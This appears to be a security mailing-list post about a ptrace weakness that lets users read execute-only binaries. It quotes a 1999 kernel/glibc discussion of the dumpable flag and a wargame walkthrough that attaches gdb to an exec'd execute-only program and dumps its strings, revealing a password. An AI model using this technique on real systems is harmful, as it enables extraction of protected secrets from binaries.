Ptrace & Non-readable

[esimon () HUSHMAIL COM]

Hi.
I sent a mail few days ago and it seems it got rejected, maybe due to 'no-
content' politic.
Regarding ptrace & non-readable "bug", a year and half ago:

----

On Tue, 27 Jul 1999, David Luyer wrote:

> > Kernel support for proper determination of current->dumpable has been
> > written. I have given it to Linus for 2.3 kernel.
>
> Does this actually achieve anything? If you can LD_PRELOAD you can dump
the
> address space easily. That's a glibc issue not a kernel issue.

It will achieve plenty. Esentially userspace (glibc) can now use prctl()
to query current->dumpable. In the case of an exec but not readable
binary, current->dumpable will be 0.

glibc's current security check is

__issecure = (geteuid() != geteuid() || getgid() != getegid());

It will be replaced with

__issecure = !prctl(PR_GET_DUMPABLE);

[...]

Cheers
Chris

-----

Also, this was posted on some wargame board a few months ago:

-----

Here's how to win:

      /bin/pass is execute-only. However, everybody (right?) knows it is
possible to retrieve memory content
      from a non-setuid process, execute-only or not.

      Fork a process, sleep 20 sec, then execve /bin/pass, while on your
terminal you attach to it with gdb.
      After the SIGTRAP, disassemble a bit of code at position %eip in memory...

      (gdb) attach 22818
      Attaching to Pid 22818
      0x400ab1c1 in ?? ()
      (gdb) c
      Continuing.

      Program received signal SIGTRAP, Trace/breakpoint trap.
      0x80480f0 in ?? ()
      (gdb) x/10i 0x80480f0
      0x80480f0:      xorl   %ebp,%ebp
      0x80480f2:      popl   %esi
      0x80480f3:      movl   %esp,%ecx
      0x80480f5:      andl   $0xfffffff8,%esp
      0x80480f8:      pushl  %eax
      0x80480f9:      pushl  %esp
      0x80480fa:      pushl  %edx
      0x80480fb:      pushl  $0x806f47c
      0x8048100:      pushl  $0x80480b4
      0x8048105:      pushl  %ecx
      (gdb)

      Then start doing massive string read from memory at position 0x809f47c,
 which probably is where most rodata is located...

      (gdb) x/1000s 0x806f47c
      ...
      0x806f4c0:       "guest"
      ...

      And so on...

------

Only wondering about 'discovered by...' in credits for the vulnerability.